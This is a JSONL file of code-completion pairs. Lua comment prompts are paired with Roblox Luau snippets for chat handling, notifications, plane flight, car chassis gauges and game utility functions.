Instance.new(\"Sound\",service.LocalContainer())\n\t\tsound.SoundId = 'rbxassetid://203785584'--client.NotificationSound\n\t\tsound.Volume = 0.2\n\t\tsound:Play()\n\t\twait(0.5)\n\t\tsound:Destroy()\n\tend)\n\n\tif time then\n\t\ttimer.Visible = true\n\t\trepeat\n\t\t\ttimer.Text = time\n\t\t\twait(1)\n\t\t\ttime = time-1\n\t\tuntil time<=0 or not frame or not frame.Parent\n\n\t\tif frame and frame.Parent then\n\t\t\tif frame then frame:Destroy() end\n\t\t\tif ignorefunc then\n\t\t\t\tignorefunc()\n\t\t\tend\n\t\tend\n\tend\n\n\treturn returner\nend\n"} +{"prompt": "-- This will inject all types into this context.", "completion": "\nlocal TypeDefs = require(script.Parent.TypeDefinitions)\n\ntype CanPierceFunction = TypeDefs.CanPierceFunction\ntype GenericTable = TypeDefs.GenericTable\ntype Caster = TypeDefs.Caster\ntype FastCastBehavior = TypeDefs.FastCastBehavior\ntype CastTrajectory = TypeDefs.CastTrajectory\ntype CastStateInfo = TypeDefs.CastStateInfo\ntype CastRayInfo = TypeDefs.CastRayInfo\ntype ActiveCast = TypeDefs.ActiveCast\n\nlocal typeof = require(script.Parent.TypeMarshaller)\n"} +{"prompt": "--// Event for making player say chat message.", "completion": "\nfunction chatBarFocusLost(enterPressed, inputObject)\n\tDoBackgroundFadeIn()\n\tchatBarFocusChanged:Fire(false)\n\n\tif (enterPressed) then\n\t\tlocal message = ChatBar:GetTextBox().Text\n\n\t\tif ChatBar:IsInCustomState() then\n\t\t\tlocal customMessage = ChatBar:GetCustomMessage()\n\t\t\tif customMessage then\n\t\t\t\tmessage = customMessage\n\t\t\tend\n\t\t\tlocal messageSunk = ChatBar:CustomStateProcessCompletedMessage(message)\n\t\t\tChatBar:ResetCustomState()\n\t\t\tif messageSunk then\n\t\t\t\treturn\n\t\t\tend\n\t\tend\n\n\t\tif not FFlagUserChatNewMessageLengthCheck2 then\n\t\t\tmessage = string.sub(message, 1, ChatSettings.MaximumMessageLength)\n\t\tend\n\n\t\tChatBar:GetTextBox().Text = \"\"\n\n\t\tif message ~= \"\" then\n\t\t\t--// Sends signal to eventually call Player:Chat() to handle C++ side legacy stuff.\n\t\t\tmoduleApiTable.MessagePosted:fire(message)\n\n\t\t\tif not CommandProcessor:ProcessCompletedChatMessage(message, ChatWindow) then\n\t\t\t\tif ChatSettings.DisallowedWhiteSpace then\n\t\t\t\t\tfor i = 1, #ChatSettings.DisallowedWhiteSpace do\n\t\t\t\t\t\tif ChatSettings.DisallowedWhiteSpace[i] == \"\\t\" then\n\t\t\t\t\t\t\tmessage = string.gsub(message, ChatSettings.DisallowedWhiteSpace[i], \" \")\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tmessage = string.gsub(message, ChatSettings.DisallowedWhiteSpace[i], \"\")\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tmessage = string.gsub(message, \"\\n\", \"\")\n\t\t\t\tmessage = string.gsub(message, \"[ ]+\", \" \")\n\n\t\t\t\tlocal targetChannel = ChatWindow:GetTargetMessageChannel()\n\t\t\t\tif targetChannel then\n\t\t\t\t\tMessageSender:SendMessage(message, targetChannel)\n\t\t\t\telse\n\t\t\t\t\tMessageSender:SendMessage(message, nil)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\tend\nend\n\nlocal ChatBarConnections = {}\nfunction setupChatBarConnections()\n\tfor i = 1, #ChatBarConnections do\n\t\tChatBarConnections[i]:Disconnect()\n\tend\n\tChatBarConnections = {}\n\n\tlocal focusLostConnection = ChatBar:GetTextBox().FocusLost:connect(chatBarFocusLost)\n\ttable.insert(ChatBarConnections, focusLostConnection)\n\n\tlocal focusGainedConnection = ChatBar:GetTextBox().Focused:connect(chatBarFocused)\n\ttable.insert(ChatBarConnections, focusGainedConnection)\nend\n\nsetupChatBarConnections()\nChatBar.GuiObjectsChanged:connect(setupChatBarConnections)\n\nfunction getEchoMessagesInGeneral()\n\tif ChatSettings.EchoMessagesInGeneralChannel == nil then\n\t\treturn true\n\tend\n\treturn ChatSettings.EchoMessagesInGeneralChannel\nend\n\nEventFolder.OnMessageDoneFiltering.OnClientEvent:connect(function(messageData)\n\tif not ChatSettings.ShowUserOwnFilteredMessage then\n\t\tif messageData.FromSpeaker == LocalPlayer.Name then\n\t\t\treturn\n\t\tend\n\tend\n\n\tlocal channelName = messageData.OriginalChannel\n\tlocal channelObj = ChatWindow:GetChannel(channelName)\n\tif channelObj then\n\t\tchannelObj:UpdateMessageFiltered(messageData)\n\tend\n\n\tif getEchoMessagesInGeneral() and ChatSettings.GeneralChannelName and channelName ~= ChatSettings.GeneralChannelName then\n\t\tlocal generalChannel = ChatWindow:GetChannel(ChatSettings.GeneralChannelName)\n\t\tif generalChannel then\n\t\t\tgeneralChannel:UpdateMessageFiltered(messageData)\n\t\tend\n\tend\nend)\n\nEventFolder.OnNewMessage.OnClientEvent:connect(function(messageData, channelName)\n\tlocal channelObj = ChatWindow:GetChannel(channelName)\n\tif (channelObj) then\n\t\tchannelObj:AddMessageToChannel(messageData)\n\n\t\tif (messageData.FromSpeaker ~= LocalPlayer.Name) then\n\t\t\tChannelsBar:UpdateMessagePostedInChannel(channelName)\n\t\tend\n\n\t\tif getEchoMessagesInGeneral() and ChatSettings.GeneralChannelName and channelName ~= ChatSettings.GeneralChannelName then\n\t\t\tlocal generalChannel = ChatWindow:GetChannel(ChatSettings.GeneralChannelName)\n\t\t\tif generalChannel then\n\t\t\t\tgeneralChannel:AddMessageToChannel(messageData)\n\t\t\tend\n\t\tend\n\n\t\tmoduleApiTable.MessageCount = moduleApiTable.MessageCount + 1\n\t\tmoduleApiTable.MessagesChanged:fire(moduleApiTable.MessageCount)\n\n\t\tDoFadeInFromNewInformation()\n\tend\nend)\n\nEventFolder.OnNewSystemMessage.OnClientEvent:connect(function(messageData, channelName)\n\tchannelName = channelName or \"System\"\n\n\tlocal channelObj = ChatWindow:GetChannel(channelName)\n\tif (channelObj) then\n\t\tchannelObj:AddMessageToChannel(messageData)\n\n\t\tChannelsBar:UpdateMessagePostedInChannel(channelName)\n\n\t\tmoduleApiTable.MessageCount = moduleApiTable.MessageCount + 1\n\t\tmoduleApiTable.MessagesChanged:fire(moduleApiTable.MessageCount)\n\n\t\tDoFadeInFromNewInformation()\n\n\t\tif getEchoMessagesInGeneral() and ChatSettings.GeneralChannelName and channelName ~= ChatSettings.GeneralChannelName then\n\t\t\tlocal generalChannel = ChatWindow:GetChannel(ChatSettings.GeneralChannelName)\n\t\t\tif generalChannel then\n\t\t\t\tgeneralChannel:AddMessageToChannel(messageData)\n\t\t\tend\n\t\tend\n\telse\n\t\twarn(string.format(\"Just received system message for channel I'm not in [%s]\", channelName))\n\tend\nend)\n\n\nfunction HandleChannelJoined(channel, welcomeMessage, messageLog, channelNameColor, addHistoryToGeneralChannel,\n\taddWelcomeMessageToGeneralChannel)\n\tif ChatWindow:GetChannel(channel) then\n\t\t--- If the channel has already been added, remove it first.\n\t\tChatWindow:RemoveChannel(channel)\n\tend\n\n\tif (channel == ChatSettings.GeneralChannelName) then\n\t\tDidFirstChannelsLoads = true\n\tend\n\n\tif channelNameColor then\n\t\tChatBar:SetChannelNameColor(channel, channelNameColor)\n\tend\n\n\tlocal channelObj = ChatWindow:AddChannel(channel)\n\n\tif (channelObj) then\n\t\tif (channel == ChatSettings.GeneralChannelName) then\n\t\t\tDoSwitchCurrentChannel(channel)\n\t\tend\n\n\t\tif (messageLog) then\n\t\t\tlocal startIndex = 1\n\t\t\tif #messageLog > ChatSettings.MessageHistoryLengthPerChannel then\n\t\t\t\tstartIndex = #messageLog - ChatSettings.MessageHistoryLengthPerChannel\n\t\t\tend\n\n\t\t\tfor i = startIndex, #messageLog do\n\t\t\t\tchannelObj:AddMessageToChannel(messageLog[i])\n\t\t\tend\n\n\t\t\tif getEchoMessagesInGeneral() and addHistoryToGeneralChannel then\n\t\t\t\tif ChatSettings.GeneralChannelName and channel ~= ChatSettings.GeneralChannelName then\n\t\t\t\t\tlocal generalChannel = ChatWindow:GetChannel(ChatSettings.GeneralChannelName)\n\t\t\t\t\tif generalChannel then\n\t\t\t\t\t\tgeneralChannel:AddMessagesToChannelByTimeStamp(messageLog, startIndex)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tif (welcomeMessage ~= \"\") then\n\t\t\tlocal welcomeMessageObject = {\n\t\t\t\tID = -1,\n\t\t\t\tFromSpeaker = nil,\n\t\t\t\tSpeakerUserId = 0,\n\t\t\t\tOriginalChannel = channel,\n\t\t\t\tIsFiltered = true,\n\t\t\t\tMessageLength = string.len(welcomeMessage),\n\t\t\t\tMessage = trimTrailingSpaces(welcomeMessage),\n\t\t\t\tMessageType = ChatConstants.MessageTypeWelcome,\n\t\t\t\tTime = os.time(),\n\t\t\t\tExtraData = nil,\n\t\t\t}\n\t\t\tchannelObj:AddMessageToChannel(welcomeMessageObject)\n\n\t\t\tif getEchoMessagesInGeneral() and addWelcomeMessageToGeneralChannel and not ChatSettings.ShowChannelsBar then\n\t\t\t\tif channel ~= ChatSettings.GeneralChannelName then\n\t\t\t\t\tlocal generalChannel = ChatWindow:GetChannel(ChatSettings.GeneralChannelName)\n\t\t\t\t\tif generalChannel then\n\t\t\t\t\t\tgeneralChannel:AddMessageToChannel(welcomeMessageObject)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tDoFadeInFromNewInformation()\n\tend\n\nend\n\nEventFolder.OnChannelJoined.OnClientEvent:connect(function(channel, welcomeMessage, messageLog, channelNameColor)\n\tHandleChannelJoined(channel, welcomeMessage, messageLog, channelNameColor, false, true)\nend)\n\nEventFolder.OnChannelLeft.OnClientEvent:connect(function(channel)\n\tChatWindow:RemoveChannel(channel)\n\n\tDoFadeInFromNewInformation()\nend)\n\nEventFolder.OnMuted.OnClientEvent:connect(function(channel)\n\t--// Do something eventually maybe?\n\t--// This used to take away the chat bar in channels the player was muted in.\n\t--// We found out this behavior was inconvenient for doing chat commands though.\nend)\n\nEventFolder.OnUnmuted.OnClientEvent:connect(function(channel)\n\t--// Same as above.\nend)\n\nEventFolder.OnMainChannelSet.OnClientEvent:connect(function(channel)\n\tDoSwitchCurrentChannel(channel)\nend)\n\ncoroutine.wrap(function()\n\t-- ChannelNameColorUpdated may not exist if the client version is older than the server version.\n\tlocal ChannelNameColorUpdated = DefaultChatSystemChatEvents:WaitForChild(\"ChannelNameColorUpdated\", 5)\n\tif ChannelNameColorUpdated then\n\t\tChannelNameColorUpdated.OnClientEvent:connect(function(channelName, channelNameColor)\n\t\t\tChatBar:SetChannelNameColor(channelName, channelNameColor)\n\t\tend)\n\tend\nend)()\n\n"} +{"prompt": "-- Setup animation objects", "completion": "\nfor name, fileList in pairs(animNames) do \n\tanimTable[name] = {}\n\tanimTable[name].count = 0\n\tanimTable[name].totalWeight = 0\n\n\t-- check for config values\n\tlocal config = script:FindFirstChild(name)\n\tif (config ~= nil) then"} +{"prompt": "--FlyScript...Build in PlaneFlyer", "completion": "\nscript.Parent.Parent.Parent.Character:findFirstChild(\"Plane\").Parts.Values.On.Changed:connect(function()\nif(script.Parent.Parent.Parent.Character:findFirstChild(\"Plane\").Parts.Values.On.Value == true) then \nlocal engine = script.Parent.Parent.Parent.Character:findFirstChild(\"Plane\").Parts.Engine\nlocal position = engine.Position\nbv = engine.BodyVelocity\nbv.velocity = Vector3.new(0,0,0)\nwhile on do\n\twait(.1)\n\tspeed = engine.Speed.Value\n\tspd = (speed/100)*5\n\tdir = engine.CFrame.lookVector \n\tVertSpd = engine.VerticalSpeed.Value\n\tbv.velocity = dir * (spd*0.422*50)+Vector3.new(0,(VertSpd)+(spd),0)\nif(script.Parent.Parent.Parent.Character:findFirstChild(\"Plane\").Parts.Values.On.Value == false) then break end\nend \nend \nend)\n\nfunction getBullet(Type)\nlocal founddd = false\nfor _,v in pairs(vParts:GetChildren()) do\nif v.Name == Type then\nfireB(Type,v)\nfounddd = true\nend\nend\nend\n\nfunction getairtoground(mousetar,Type)\nif mousetar == nil then return end\nlocal as = mousetar.Parent\nfor i=1,math.huge do\nif (as.className == \"Part\") or (as.className == \"WedgePart\") and (as.Parent ~= vParts) or (as.Parent ~=vParts.Parent.Body) then break end\nif as == workspace then return end\nas = as.Parent\nend\nlocal foundtar = false\nif(Type.Name == \"Launch1\") or(Type.Name == \"Launch2\") then\nv = Type\nfireHo(v,mousetar)\nfoundtar = true\nend\nend\n\nfunction Getmissile(Type)\nif(plane:findFirstChild(Type)~= nil) then \nif(plane:findFirstChild(Type).className == \"Part\") then \nif(Type == \"LaunchA\") then\n\n\tif(hydra.left ~= 0) then \n\thydra.left = hydra.left -1\nfire(plane.Parent,plane:findFirstChild(\"LaunchA\"))\n\tend\nelseif(Type == \"LaunchB\") then \n\n\tif(hydra.right ~= 0) then \n\t\thydra.right = hydra.right -1\nfire(plane.Parent,plane:findFirstChild(\"LaunchB\"))\n\tend\nend \nend\nend\nend \n"} +{"prompt": "-- Initialize surface tool", "completion": "\nlocal SurfaceTool = require(CoreTools.SurfaceTool)\nCore.AssignHotkey('B', Core.Support.Call(Core.EquipTool, SurfaceTool));\nCore.Dock.AddToolButton(Core.Assets.SurfaceIcon, 'B', SurfaceTool, 'SurfaceInfo');\n"} +{"prompt": "--[[**\n\tensures Lua primitive string type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.string = primitive(\"string\")\n"} +{"prompt": "--Made by Luckymaxer", "completion": "\n\nPlayers = game:GetService(\"Players\")\nDebris = game:GetService(\"Debris\")\n\n\n\nFunctions = {}\n\nfunction Functions.IsTeamMate(Player1, Player2)\n\treturn (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)\nend\n\nfunction Functions.TagHumanoid(humanoid, player)\n\tlocal Creator_Tag = Instance.new(\"ObjectValue\")\n\tCreator_Tag.Name = \"creator\"\n\tCreator_Tag.Value = player\n\tDebris:AddItem(Creator_Tag, 2)\n\tCreator_Tag.Parent = humanoid\nend\n\nfunction Functions.UntagHumanoid(humanoid)\n\tfor i, v in pairs(humanoid:GetChildren()) do\n\t\tif v:IsA(\"ObjectValue\") and v.Name == \"creator\" then\n\t\t\tv:Destroy()\n\t\tend\n\tend\nend\n\nfunction Functions.CheckTableForString(Table, String)\n\tfor i, v in pairs(Table) do\n\t\tif string.find(string.lower(String), string.lower(v)) then\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend\n\nfunction Functions.CheckIntangible(Hit)\n\tlocal ProjectileNames = {\"Water\", \"Arrow\", \"Projectile\", \"Effect\", \"Rail\", \"Laser\", \"Bullet\"}\n\tif Hit and Hit.Parent then\n\t\tif ((not Hit.CanCollide or Functions.CheckTableForString(ProjectileNames, Hit.Name)) and not Hit.Parent:FindFirstChild(\"Humanoid\")) then\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend\n\nfunction Functions.CastRay(StartPos, Vec, Length, Ignore, DelayIfHit)\n\tlocal Ignore = ((type(Ignore) == \"table\" and Ignore) or {Ignore})\n\tlocal RayHit, RayPos, RayNormal, RayMaterial = game:GetService(\"Workspace\"):FindPartOnRayWithIgnoreList(Ray.new(StartPos, Vec * Length), Ignore)\n\tif RayHit and Functions.CheckIntangible(RayHit) then\n\t\tif DelayIfHit then\n\t\t\twait()\n\t\tend\n\t\tRayHit, RayPos, RayNormal, RayMaterial = Functions.CastRay((RayPos + (Vec * 0.01)), Vec, (Length - ((StartPos - RayPos).magnitude)), Ignore, DelayIfHit)\n\tend\n\treturn RayHit, RayPos, RayNormal, RayMaterial\nend\n\nfunction Functions.GetAllConnectedParts(Object)\n\tlocal Parts = {}\n\tlocal function GetConnectedParts(Object)\n\t\tfor i, v in pairs(Object:GetConnectedParts()) do\n\t\t\tlocal Ignore = false\n\t\t\tfor ii, vv in pairs(Parts) do\n\t\t\t\tif v == vv then\n\t\t\t\t\tIgnore = true\n\t\t\t\tend\n\t\t\tend\n\t\t\tif not Ignore then\n\t\t\t\ttable.insert(Parts, v)\n\t\t\t\tGetConnectedParts(v)\n\t\t\tend\n\t\tend\n\tend\n\tGetConnectedParts(Object)\n\treturn Parts\nend\n\nfunction Functions.GetTotalParts(MaxParts, PossibleParts, Parts)\n\tif MaxParts < PossibleParts then\n\t\treturn MaxParts\n\telseif Parts >= MaxParts then\n\t\treturn 0\n\telseif MaxParts >= PossibleParts then\n\t\tlocal PartCount = (MaxParts - PossibleParts)\n\t\tif Parts <= MaxParts then\n\t\t\tPartCount = (MaxParts - Parts)\n\t\t\tif PartCount > PossibleParts then\n\t\t\t\treturn PossibleParts\n\t\t\telse\n\t\t\t\treturn PartCount\n\t\t\tend\n\t\telseif PartCount >= PossibleParts then\n\t\t\treturn PossibleParts\n\t\telse\n\t\t\treturn PartCount\n\t\tend\n\tend\nend\n\nfunction Functions.GetParts(Region, MaxParts, Ignore)\n\tlocal Parts = {}\n\tlocal RerunFailed = false\n\twhile #Parts < MaxParts and not RerunFailed do\n\t\tlocal Region = Region\n\t\tlocal PossibleParts = Functions.GetTotalParts(MaxParts, 100, #Parts)\n\t\tlocal PartsNearby = game:GetService(\"Workspace\"):FindPartsInRegion3WithIgnoreList(Region, Ignore, PossibleParts)\n\t\tif #PartsNearby == 0 then\n\t\t\tRerunFailed = true\n\t\telse\n\t\t\tfor i, v in pairs(PartsNearby) do\n\t\t\t\ttable.insert(Parts, v)\n\t\t\t\ttable.insert(Ignore, v)\n\t\t\tend\n\t\tend\n\tend\n\treturn Parts\nend\n\nfunction Functions.CheckTableForInstance(Table, Instance)\n\tfor i, v in pairs(Table) do\n\t\tif v == Instance then\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend\n\nreturn Functions\n"} +{"prompt": "-- \treturn DropdownClass.new(button, listFrame)\n-- end", "completion": "\n"} +{"prompt": "--[[Driver Handling]]", "completion": "\n\n\t--Driver Sit\t\n\tcar.DriveSeat.ChildAdded:connect(function(child)\n\t\tif child.Name==\"SeatWeld\" and child:IsA(\"Weld\") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then\n\t\t\t--Distribute Client Interface\n\t\t\tlocal p=game.Players:GetPlayerFromCharacter(child.Part1.Parent)\n\t\t\tcar.DriveSeat:SetNetworkOwner(p)\n\t\t\tlocal g=script.Parent[\"A-Chassis Interface\"]:Clone()\n\t\t\tg.Parent=p.PlayerGui\n\t\tend\n\tend)\n\t\n\t--Driver Leave\n\tcar.DriveSeat.ChildRemoved:connect(function(child)\n\t\tif child.Name==\"SeatWeld\" and child:IsA(\"Weld\") then\n\t\t\t--Remove Flip Force\n\t\t\tif car.DriveSeat:FindFirstChild(\"Flip\")~=nil then\n\t\t\t\tcar.DriveSeat.Flip.MaxTorque = Vector3.new()\n\t\t\tend\n\t\t\t\n\t\t\t--Remove Wheel Force\n\t\t\tfor i,v in pairs(car.Wheels:GetChildren()) do\n\t\t\t\tif v:FindFirstChild(\"#AV\")~=nil then\n\t\t\t\t\tif v[\"#AV\"]:IsA(\"BodyAngularVelocity\") then\n\t\t\t\t\t\tif v[\"#AV\"].AngularVelocity.Magnitude>0 then\n\t\t\t\t\t\t\tv[\"#AV\"].AngularVelocity = Vector3.new()\n\t\t\t\t\t\t\tv[\"#AV\"].MaxTorque = Vector3.new()\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tif v[\"#AV\"].AngularVelocity>0 then\n\t\t\t\t\t\t\tv[\"#AV\"].AngularVelocity = 0\n\t\t\t\t\t\t\tv[\"#AV\"].MotorMaxTorque = 0\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend)\n\t"} +{"prompt": "--Automatic Gauge Scaling", "completion": "\nif autoscaling then\n\tlocal Drive={}\n\tif _Tune.Config == \"FWD\" or _Tune.Config == \"AWD\" then\n\t\tif car.Wheels:FindFirstChild(\"FL\")~= nil then\n\t\t\ttable.insert(Drive,car.Wheels.FL)\n\t\tend\n\t\tif car.Wheels:FindFirstChild(\"FR\")~= nil then\n\t\t\ttable.insert(Drive,car.Wheels.FR)\n\t\tend\n\t\tif car.Wheels:FindFirstChild(\"F\")~= nil then\n\t\t\ttable.insert(Drive,car.Wheels.F)\n\t\tend\n\tend\n\tif _Tune.Config == \"RWD\" or _Tune.Config == \"AWD\" then\n\t\tif car.Wheels:FindFirstChild(\"RL\")~= nil then\n\t\t\ttable.insert(Drive,car.Wheels.RL)\n\t\tend\n\t\tif car.Wheels:FindFirstChild(\"RR\")~= nil then\n\t\t\ttable.insert(Drive,car.Wheels.RR)\n\t\tend\n\t\tif car.Wheels:FindFirstChild(\"R\")~= nil then\n\t\t\ttable.insert(Drive,car.Wheels.R)\n\t\tend\n\tend\n\n\tlocal wDia = 0\n\tfor i,v in pairs(Drive) do\n\t\tif v.Size.x>wDia then wDia = v.Size.x end\n\tend\n\tDrive = nil\n\tfor i,v in pairs(UNITS) do\n\t\tv.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)\n\t\tv.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20)\n\tend\nend\n\nfor i=0,revEnd do\n\tlocal ln = script.Parent.A:Clone()\n\tln.Name = i\n\tln.Parent = script.Parent.Tac.G\n\tln.Rotation = -90 + i * 270 / (revEnd)\n\tln.Num.Text = i\n\tln.Num.Rotation = -ln.Rotation\n\tif i*1000>=math.ceil(_lRPM/1000)*1000 then\n\t\tln.Num.TextColor3 = Color3.new(1,0,0)\n\tend\n\tln.Num.Visible=true\n\tln.Visible=true\nend\n\nlocal lns = Instance.new(\"Frame\",script.Parent.Spd)\nlns.Name = \"lns\"\nlns.BackgroundTransparency = 1\nlns.BorderSizePixel = 0\nlns.Size = UDim2.new(0,0,0,0)\n\nfor i,v in pairs(UNITS) do\n\tlocal lnn = Instance.new(\"Frame\",script.Parent.Spd.G)\n\tlnn.BackgroundTransparency = 1\n\tlnn.BorderSizePixel = 0\n\tlnn.Size = UDim2.new(1,0,1,0)\n\tlnn.Name = v.units\n\tif i~= 1 then lnn.Visible=false end\n\t\n\tfor i=0,v.maxSpeed,v.spInc do\n\t\tlocal ln = script.Parent.A:clone()\n\t\tln.Parent = lnn\n\t\tln.Name = i\n\t\tln.Rotation = -90 + 270*(i/v.maxSpeed)\n\t\tln.Num.Text = i\n\t\tln.Num.TextSize = 14\n\t\tln.Num.Rotation = -ln.Rotation\n\t\tln.Num.Visible=true\n\t\tln.Visible=true\n\tend\nend\n\nif \tscript.Parent.Parent.IsOn.Value then\n\tscript.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)\nend\n\nscript.Parent.Parent.IsOn.Changed:connect(function()\n\tif script.Parent.Parent.IsOn.Value then\n\t\tscript.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)\n\tend\nend)\n\nscript.Parent.Parent.Values.RPM.Changed:connect(function()\n\tlocal r = script.Parent.Parent.Values.RPM\n\tscript.Parent.Tac.G.Needle.Rotation = -90 + 270 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))\n\t\n\tinTac.Rotation = -90 + 270 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))\n\tinTac2.Rotation = -45 + 270 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))\nend)\n\nscript.Parent.Parent.Values.TCS.Changed:connect(function()\n\tif _Tune.TCSEnabled then\n\t\tif script.Parent.Parent.Values.TCS.Value then\n\t\t\tscript.Parent.Clst.TCS.TextColor3 = Color3.new(1,170/255,0)\n\t\t\tscript.Parent.Clst.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)\n\t\t\tif script.Parent.Parent.Values.TCSActive.Value then\n\t\t\t\twait()\n\t\t\t\tscript.Parent.Clst.TCS.Visible = not script.Parent.Clst.TCS.Visible\n\t\t\telse\n\t\t\t\twait()\n\t\t\t\tscript.Parent.Clst.TCS.Visible = false\n\t\t\tend\n\t\telse\n\t\t\tscript.Parent.Clst.TCS.Visible = true\n\t\t\tscript.Parent.Clst.TCS.TextColor3 = Color3.new(1,0,0)\n\t\t\tscript.Parent.Clst.TCS.TextStrokeColor3 = Color3.new(1,0,0)\n\t\tend\n\telse\n\t\tscript.Parent.Clst.TCS.Visible = false\n\tend\nend)\n\nscript.Parent.Parent.Values.TCSActive.Changed:connect(function()\n\tif _Tune.TCSEnabled then\n\t\tif script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then\n\t\t\twait()\n\t\t\tscript.Parent.Clst.TCS.Visible = not script.Parent.Clst.TCS.Visible\n\t\telseif not script.Parent.Parent.Values.TCS.Value then\n\t\t\twait()\n\t\t\tscript.Parent.Clst.TCS.Visible = true\n\t\telse\n\t\t\twait()\n\t\t\tscript.Parent.Clst.TCS.Visible = false\n\t\tend\n\telse\n\t\tscript.Parent.Clst.TCS.Visible = false\n\tend\nend)\n\nscript.Parent.Clst.TCS.Changed:connect(function()\n\tif _Tune.TCSEnabled then\n\t\tif script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then\n\t\t\twait()\n\t\t\tscript.Parent.Clst.TCS.Visible = not script.Parent.Clst.TCS.Visible\n\t\telseif not script.Parent.Parent.Values.TCS.Value then\n\t\t\twait()\n\t\t\tscript.Parent.Clst.TCS.Visible = true\n\t\tend\n\telse\n\t\tif script.Parent.Clst.TCS.Visible then\n\t\t\tscript.Parent.Clst.TCS.Visible = false\n\t\tend\n\tend\nend)\n\nscript.Parent.Parent.Values.ABS.Changed:connect(function()\n\tif _Tune.ABSEnabled then\n\t\tif script.Parent.Parent.Values.ABS.Value then\n\t\t\tscript.Parent.Clst.ABS.TextColor3 = Color3.new(1,170/255,0)\n\t\t\tscript.Parent.Clst.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)\n\t\t\tif script.Parent.Parent.Values.ABSActive.Value then\n\t\t\t\twait()\n\t\t\t\tscript.Parent.Clst.ABS.Visible = not script.Parent.Clst.ABS.Visible\n\t\t\telse\n\t\t\t\twait()\n\t\t\t\tscript.Parent.Clst.ABS.Visible = false\n\t\t\tend\n\t\telse\n\t\t\tscript.Parent.Clst.ABS.Visible = true\n\t\t\tscript.Parent.Clst.ABS.TextColor3 = Color3.new(1,0,0)\n\t\t\tscript.Parent.Clst.ABS.TextStrokeColor3 = Color3.new(1,0,0)\n\t\tend\n\telse\n\t\tscript.Parent.Clst.ABS.Visible = false\n\tend\nend)\n\nscript.Parent.Parent.Values.ABSActive.Changed:connect(function()\n\tif _Tune.ABSEnabled then\n\t\tif script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then\n\t\t\twait()\n\t\t\tscript.Parent.Clst.ABS.Visible = not script.Parent.Clst.ABS.Visible\n\t\telseif not script.Parent.Parent.Values.ABS.Value then\n\t\t\twait()\n\t\t\tscript.Parent.Clst.ABS.Visible = true\n\t\telse\n\t\t\twait()\n\t\t\tscript.Parent.Clst.ABS.Visible = false\n\t\tend\n\telse\n\t\tscript.Parent.Clst.ABS.Visible = false\n\tend\nend)\n\nscript.Parent.Clst.ABS.Changed:connect(function()\n\tif _Tune.ABSEnabled then\n\t\tif script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then\n\t\t\twait()\n\t\t\tscript.Parent.Clst.ABS.Visible = not script.Parent.Clst.ABS.Visible\n\t\telseif not script.Parent.Parent.Values.ABS.Value then\n\t\t\twait()\n\t\t\tscript.Parent.Clst.ABS.Visible = true\n\t\tend\n\telse\n\t\tif script.Parent.Clst.ABS.Visible then\n\t\t\tscript.Parent.Clst.ABS.Visible = false\n\t\tend\n\tend\nend)\n\nscript.Parent.Parent.Values.PBrake.Changed:connect(function()\n\tscript.Parent.Clst.P.Visible = script.Parent.Parent.Values.PBrake.Value\nend)\n\nscript.Parent.Parent.Values.TransmissionMode.Changed:connect(function()\n\tif script.Parent.Parent.Values.TransmissionMode.Value == \"Auto\" then\n\t\tscript.Parent.Clst.TMode.Text = \"A/T\"\n\t\tscript.Parent.Clst.TMode.TextColor3 = Color3.new(1,170/255,0)\n\telseif script.Parent.Parent.Values.TransmissionMode.Value == \"Semi\" then\n\t\tscript.Parent.Clst.TMode.Text = \"S/T\"\n\t\tscript.Parent.Clst.TMode.TextColor3 = Color3.new(0, 170/255, 127/255) \n\telse\n\t\tscript.Parent.Clst.TMode.Text = \"M/T\"\n\t\tscript.Parent.Clst.TMode.TextColor3 = Color3.new(1,85/255,.5)\n\tend\nend)\n\nscript.Parent.Parent.Values.Velocity.Changed:connect(function(property)\n\tscript.Parent.Spd.G.Needle.Rotation = -90 + 270 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)\n\tscript.Parent.Spd.G.Gear.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude)\n\tinspd.Rotation = -45 + (-270 / 180) * (math.abs(script.Parent.Parent.Values.Velocity.Value.Magnitude*((10/12) * (60/88))))\n\tinspd2.Rotation = -45 + (270 / 180) * (math.abs(script.Parent.Parent.Values.Velocity.Value.Magnitude*((10/12) * (60/88))))\n\tcar.Body.Dash.D.G.SpdB.Spd.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude)\nend)\n"} 